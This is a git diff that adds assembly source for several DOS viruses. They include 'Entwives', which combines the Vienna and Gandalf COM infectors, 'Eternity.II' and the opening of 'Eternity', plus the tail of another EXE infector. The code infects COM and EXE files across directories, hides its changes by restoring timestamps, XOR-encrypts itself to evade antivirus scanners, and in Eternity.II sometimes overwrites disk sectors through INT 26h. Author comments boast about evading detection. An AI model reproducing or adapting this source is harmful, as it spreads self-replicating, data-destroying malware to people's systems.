si,bx + xchg [si],cx + mov si,offset buffer.ip_old + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov [si],cx + pop si + pop dx + pop ax + + push ax + push dx + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + mov cx,0008h + shl dx,cl + mov cx,0004h + shr ax,cl ;A very obscure algorithm to make + ;a segment:offset pair + mov [si+14h],ax + mov [si+16h],dx ;Infected values + + push si + mov si,offset buffer.far_push + sub si,adjust + add si,bx + xchg [si],dx + mov word ptr [si+2],dx + pop si + + pop dx + pop ax + add ax,virussize ; + adc dx,0000h + + mov cx,0003h +mul_loop: + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 4096 + loop mul_loop + + or ax,ax + jz exact_value + inc dx +exact_value: + mov [si+0eh],dx ;Infected stack segment + + ;Write back infected header + push si + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5700h ;Get time function + int 21h + pop bx + pop si + jnc correct_time + jmp append_ok1 + +correct_time: + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc continue_infection + jmp append_ok1 + +continue_infection: + + push cx + push dx + push bx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Write infected exe header + mov ax,4000h + int 21h ;Write function call + pop bx + pop dx + pop cx + jnc glue_virus + jmp append_ok1 + +glue_virus: + + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4202h ;From the end of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc write_data + jmp append_ok1 + +write_data: + + mov si,offset buffer.handle + sub si,adjust + add si,bx + + push dx + push cx + + mov dx,bx + sub dx,3 ;The starting three byte + ;call instruction + push es + push bx + push dx + push si + mov ax,2f00h + int 21h + pop si + pop dx + + push es + push bx + + push si + mov ax,1a00h + int 21h + pop si + + + mov bx,[si] ;Load handle + mov cx,virussize-896+64 ;Length of virus obtained + mov ax,4000h ;with dir + int 21h + lahf ;Write function call + + pop bx + pop es + + push ds + push es + pop ds + mov dx,bx + push ax + mov ax,1a00h + int 21h + pop ax + + pop ds + pop bx + pop es + + pop cx + pop dx + + sahf + jnc put_stamp ;Error or not file + jmp append_ok1 ;is closed + +put_stamp: + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5701h ;Set time function + int 21h + pop bx + +append_ok1: + + mov si,offset buffer.ip_old ;Restore previous CS:IP values + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + + mov si,offset buffer.save_push + sub si,adjust + add si,bx + mov ax,[si] + mov word ptr [si-2],ax + + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov ax,[si] + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + mov word ptr [si],ax + + +append_ok: + mov si,offset buffer.help_flag + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + mov [si],ax ;This code effectively moves + ;help_flag into where_from_flag + + + jmp close_error ; + +error_exit: + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov dx,[si] ;Restore original DTA + add si,2 + mov ax,[si] + push ds + mov ds,ax + mov ax,1a00h ;Set DTA function call + int 21h + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + +try_to_infect ENDP + +transfer_filespec PROC + + push si + mov si,offset buffer.filematch ;Transfer name to the working + ;area + sub si,adjust + add si,bx + call byte_move + pop si + ret + +transfer_filespec ENDP + +search_all PROC + + push si + mov si,offset buffer.matchall ;This is the '*.*' filename + sub si,adjust + add si,bx + call byte_move + pop si + ret + +search_all ENDP + +byte_move PROC + + push ax + push di + + cld + +move_loop: + lodsb + stosb + or al,al ;The string to move is ASCIIZ + jne move_loop + pop di + pop ax + ret + +byte_move ENDP + +find_first PROC + + push cx + push bx + cmp dx,0000h + jnbe over_set + mov dx,offset buffer.buffer2 ;Set Data Transfer Area + sub dx,adjust ;or Disk Transfer area + add dx,bx ; +over_set: + add dx,02Bh + mov cx,00010h ;Attribute byte for + ;directory search + mov ah,01ah + int 021h ;Set DTA function call + + pop bx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov ah,04eh ;find first + ;function call + int 021h + pop dx + pop bx + pop cx + ret + +find_first ENDP + +find_next PROC + + push cx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov cx,00010h + mov ah,04fh ;Find next function call + int 021h + pop dx + pop bx + pop cx + ret + +find_next ENDP + +ask_question PROC + + mov dx,offset buffer.question + mov ax,09 + int 21h + xor ax,ax + int 16h + +ask_question ENDP + + +setup_data: + cli + pop bx ;This will catch instruction pointer + push bx + sti ;value and after that restore stack + ret ;pointer value + + +buffer data_area <> ;Reseve data_area space + + code ends + END start diff --git a/e/ENTWIVES.ASM b/e/ENTWIVES.ASM new file mode 100755 index 0000000..8e019b1 --- /dev/null +++ b/e/ENTWIVES.ASM @@ -0,0 +1,776 @@ +; Entwives: Two-in-one by Ender +; This virus is a combination of a G^2 COM infector, called Gandalf and +; the popular Vienna strain. This virus runs the Vienna code 7/8 +; times and the Gandalf code the remaining 1/8. The Vienna viral code +; should load the infected file with Vienna and Gandalf while the +; Gandalf code will only load itself into the file. +; Please note that McAfee shows Lisbon and 1014 virus when scanning +; a file infected by this virus. Gandalf is invisible. At least on +; an older version it is. +;------------------------------------------------------------------------------ + +; First is Vienna +; ~~~~~~~~~~~~~~~ + +.model tiny + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + +virus: +; ****************************************************************** +; Determine which Viral code to use +; BY +; Getting current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + AND DH,7 ;Last 3 bits 0? (once in eight) + JNZ actvir ; If 7/8 use Vienna code + JMP carrier ; If 1/8 use Gandalf code + +;******************************************************************* +; This is the special "one in eight" infection. If the above line were in +; its original form, the Gandalf code would be run 1/8 of the time, and +; rather than appending a copy of Vienna+Gandalf virus to the .COM file, +; the file would get the Gandalf virus. Why? Just for the Hell of it! +;******************************************************************* + +actvir: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + PUSH ES + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + MOV [SI+old_att],CX ;Save the old attributes + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +infectcom: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +; This is GANDALF. The second of the two viruses which the file could +; be infected by. Gandalf, unlike Vienna, only will infect with it's +; own code, instead of the code for both it and Vienna. + +; Kudos to G^2 for the code for Gandalf +; Gandalf by Ender + +carrier: + db 0E9h,0,0 ; jmp start + +start: + call next +next: + pop bp + sub bp, offset next + + mov ah, 0047h ; Get directory + lea si, [bp+offset origdir+1] + cwd ; Default drive + int 0021h + + lea dx, [bp+offset newDTA] + mov ah, 001Ah ; Set DTA + int 0021h + + mov ax, 3524h + int 0021h + push es + push bx + + lea dx, [bp+INT24] ; ASSumes ds=cs + mov ax, 2524h + int 0021h + + push cs + pop es + +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsb + movsw + + mov byte ptr [bp+numinfect], 0000h +traverse_loop: + lea dx, [bp+offset COMmask] + call infect + cmp [bp+numinfect], 0007h + jae exit_traverse ; exit if enough infected + + mov ah, 003Bh ; CHDIR + lea dx, [bp+offset dot_dot] ; go to previous dir + int 0021h + jnc traverse_loop ; loop if no error + +exit_traverse: + + lea si, [bp+offset origdir] + mov byte ptr [si], '\' + mov ah, 003Bh ; restore directory + xchg dx, si + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + + + mov dx, 0080h ; in the PSP + mov ah, 001Ah ; restore DTA to default + int 0021h + +return: + ret + +old3 db 0cdh,20h,0 + +INT24: + mov al, 0003h + iret + +infect: + mov cx, 0007h ; all files + mov ah, 004Eh ; find first +findfirstnext: + int 0021h + jc return + mov ax, 4300h + lea dx, [bp+newDTA+30] + int 0021h + jc return + push cx + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + mov ax, 3D02h + lea dx, [bp+newDTA+30] + int 0021h + mov bx, ax ; xchg ax,bx is more efficient + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov ah, 003Fh + mov cx, 001Ah + lea dx, [bp+offset readbuffer] + int 0021h + + mov ax, 4202h + xor cx, cx + cwd + int 0021h + + cmp word ptr [bp+offset readbuffer], 'ZM' + jz jmp_close + mov cx, word ptr [bp+offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jl skipp +jmp_close: + jmp close +skipp: + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + lea si, [bp+offset readbuffer] + lea di, [bp+offset old3] + movsb + movsw + + sub ax, 0003h + mov word ptr [bp+offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [bp+offset readbuffer], dl + lea dx, [bp+offset start] + mov ah, 0040h ; concatenate virus + mov cx, heap-start + int 0021h + + xor cx, cx + mov ax, 4200h + xor dx, dx + int 0021h + + + mov cx, 0003h + lea dx, [bp+offset readbuffer] + mov ah, 0040h + int 0021h + + inc [bp+numinfect] + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop cx ; attributes from stack + int 0021h + + mov ah, 004Fh ; find next + jmp findfirstnext + +; Data for Gandalf Virus +author db 'Entwives: Two-in-one G by Ender' +COMmask db '*.COM',0 +dot_dot db '..',0 + +heap: +newDTA db 43 dup (?) +origdir db 65 dup (?) +numinfect db ? +readbuffer db 1ah dup (?) +endheap: + +; Data from the Vienna virus +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + +creditauthor DB "Entwives: Two-in-one V by Ender" ; My credit + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA + + CODE ENDS +END VCODE + diff --git a/e/ETERNIT2.ASM b/e/ETERNIT2.ASM new file mode 100755 index 0000000..a321476 --- /dev/null +++ b/e/ETERNIT2.ASM @@ -0,0 +1,276 @@ +; -Eternity.II- +; "Created by Immortal Riot's destructive development team" +; (c) '94 The Unforgiven/Immortal Riot +; +; "If this virus survive into eternity, I'll live forever" +; or +; "Nothing last forever" +; +; Notes: +; F-Prot, Scan, TBAV, Findviru, can't find shits of this virus. +; +; Disclaimer: +; If this virus harms your computer and you kill yourself, +; I'll not attend on nor pay for your funeral. +; +; Dedication: +; I dedicate this virus to all members of Dia Psalma for all +; the ideoligical inspiration I've gained from listening on +; their music as well as talking with them. + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start + org 100 + +Virus_Start: +xchg ax, ax ; A nop to fill out the virus +mov ax,0fa01h ; to be exactly 600 bytes! +mov dx,5945h +int 16h + +call Get_delta ; Get the delta-offset! +Get_delta: +pop bp +sub bp,Get_Delta-Virus_Start + +call encrypt_decrypt ; Decrypt the virus +jmp short encryption_start ; then continue.. + +write_virus: +call encrypt_decrypt ; Encrypt the virus +mov ah,40 +mov cx,Virus_Lenght +mov dx,bp +int 21 +call encrypt_decrypt ; Decrypt it again +ret + +encryption_value dw 0 +encrypt_decrypt: +lea si,cs:[bp+encryption_start-virus_start] +mov cx,(end_of_virus-encryption_start+1)/2 +mov dx,word ptr cs:[bp+encryption_value-virus_start] + +Xor_LoopY: +xor word ptr cs:[si],dx +inc si +inc si +loop Xor_LoopY +ret + +encryption_start: ; Heuristic, beat this! +mov ax,es +add ax,10 +add ax,cs:[bp+Exe_header-Virus_Start+16] +push ax +push cs:[bp+Exe_header-Virus_Start+14] + +push ds +push cs +pop ds + +mov ah,1a ; Set the DTA +lea dx,[bp+Own_dta-virus_start] +int 21 + +One_Percent: +mov ah,2ch ; 1% +int 21h +cmp dl,0 +jne get_drive + +Cruel: ; God what I hate that +mov al,2h ; eskimoe! +mov cx,1 +lea bx,v_name +cwd +int 26h + +Get_drive: ; Current drive +mov ah,19h +int 21h +cmp al,2 ; A: or B:? +jae get_dir +jmp restore_dir ; Yep, then don't infect + ; other files that run! +Get_Dir: +mov ah,47 +xor dl,dl +lea si,[bp+dir-virus_start] +int 21 + +Di_Counter: +xor di,di ; Infection counter=0 + ; will be inc after each infection! + +_4EH: +mov ah,4e ; Bummer.. + +Loop_Files: +lea dx,[bp+file_match-virus_start] +int 21 + +jnc clear_attribs ; We did find a file! + ; Happy Happy, joy joy! +Dot_Dott: +lea dx,[bp+dot_dot-virus_start] ; Ah, the same old +mov ah,3bh ; dot-dot-routine again! +int 21h + +jnc not_root ; No error! +jmp no_victim_found ; No more files in .. + +not_root: +mov ah,4e ; Find first file +jmp short Loop_Files ; in the new directory + +Clear_attribs: ; Clear file-attrib +mov ax,4301h +xor cx,cx +lea dx,[bp+own_dta-virus_start+1eh] ; 1eh=filename in DTA-aera +int 21h + +Open_File: +mov ax,3d02 ; Open file in read/write mode +mov dx,Own_dta-Virus_Start+1e ; Yep, it's still 1eh in DTA! +add dx,bp ; bummer! +int 21 + +jnc read_File ; No error, then read the file! +jmp cant_open_file ; Hrm?! + +v_name db "Eternity_II" ; Virus name! + + +Read_File: +xchg ax,bx ;File handle in bx + +mov ah,3f ;Read file - 28 bytes +mov cx,1c ;to EXE_header (1ch) +lea dx,[bp+exe_header-virus_start] +int 21 + +jnc no_error ; It worked (duh) +jmp read_error ; Hrm?! + +no_error: +cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M' +jnz no_exe +cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI' +jz infected + +mov al,2 ; File pointer +call F_Ptr ; to end of file + +push dx +push ax + +Random: +mov ah,2ch ; Yah. Nearly polymorfic? +int 21h ; Oh well :-). +add dl,dh +jz random +mov word ptr cs:[bp+encryption_value-virus_start],dx + +call write_virus ; Write encrypted copy + +mov al,2 ; File pointer to end of file +Call F_Ptr + +mov cx,200 ; bummer.. +div cx +inc ax +mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx +mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax + +pop ax +pop dx + +mov cx,10 +div cx +sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp] +mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax +mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx +mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI' + +mov al,0 ; File pointer to top of file +call F_Ptr + +mov ah,40 ; Write header +mov cx,1c +lea dx,[bp+exe_header-virus_start] +int 21 + +jc write_error ; Hrm!? + +no_exe: +jmp short Restore_Time_Date + +infected: ; Decrease infection counter +dec di ; with one + +Restore_Time_Date: ; Nearly stealth? +lea si,[bp+own_dta-virus_start+16h] ; Oh well :-). +mov cx,word ptr [si] +mov dx,word ptr [si+2] +mov ax,5701h +int 21h + +Close_File: ; Close the file +mov ah,3e +int 21 + +Set_Back_Attribs: ; Stealth-bomber! +mov ax,4301h +xor ch,ch +lea bx,[bp+own_dta-virus_start+15h] +mov cl,[bx] +lea dx,[bp+own_dta-virus_start+1eh] +int 21h + +Sick_or_EXE: +mov ah,4f ; 4fh=find next file +inc di +cmp di,3 ; Infected three files? +jae finnished_infection ; Yep! +jmp Loop_Files ; Nah! + +F_Ptr: ; Since we're using +mov ah,42 ; this routine +xor cx,cx ; three times, +cwd ; calling this +int 21 ; will save us +ret ; some bytes + +write_error: ; For no use in this virus, +read_error: ; but if something screws +cant_open_file: ; up, add 09/i21h functions, +no_victim_found: ; and test what didn't work. +finnished_infection: ; + +Restore_Dir: ; More stealth.. +lea dx,[bp+dir-virus_start] +mov ah,3bh +int 21 + +quit: ; Return to original program +pop ds +retf + +groupdb db "(c) '94 The Unforgiven/Immortal Riot" ; That's moi.. + +dot_dot db '..',0 ; Another directory +file_match db '*.EXE',0 ; Infect m all! + +Exe_header db 16 DUP(0) + dw 0fff0 + db 4 DUP(0) +Own_Dta db 02bh DUP(0) +dir db 65 dup (?) ; Really really stupid! + +Virus_End EQU $ +end_of_virus: + end Virus_Start \ No newline at end of file diff --git a/e/ETERNITY.ASM b/e/ETERNITY.ASM new file mode 100755 index 0000000..33e344e --- /dev/null +++ b/e/ETERNITY.ASM @@ -0,0 +1,251 @@ +; VirusName : ETERNITY! +; Origin : Sweden +; Author : The Unforgiven +; Date : 15/12/93 + +; This is a "mutation", of Tormentor's .EXE lession. It's HIGHLY +; modified, and I'd nearly dare to call it a "new" virus. But well, +; the infection routine are the same, so I really dunno. + +; Anyway, it's a non-overwriting randomly self encrypted infector +; of .EXE programs. It'll infect up to 3 programs each run, and now +; it also contain a dot-dot routine for moving directories. This +; version have also fixed up the "file attributes", so It will +; first clean, then infect, then restore them. It'll after infections +; in other the current directory, also return to it's original dir. + +; Since its complex cryptation routine no scanners will find it. +; Scan/MSAV/TBAV/FindViru and F-prot can't find shits. TBAVs most +; advanced heurtistic scanner will ONLY!, report that the infected +; programs got a flexible entry point, ie 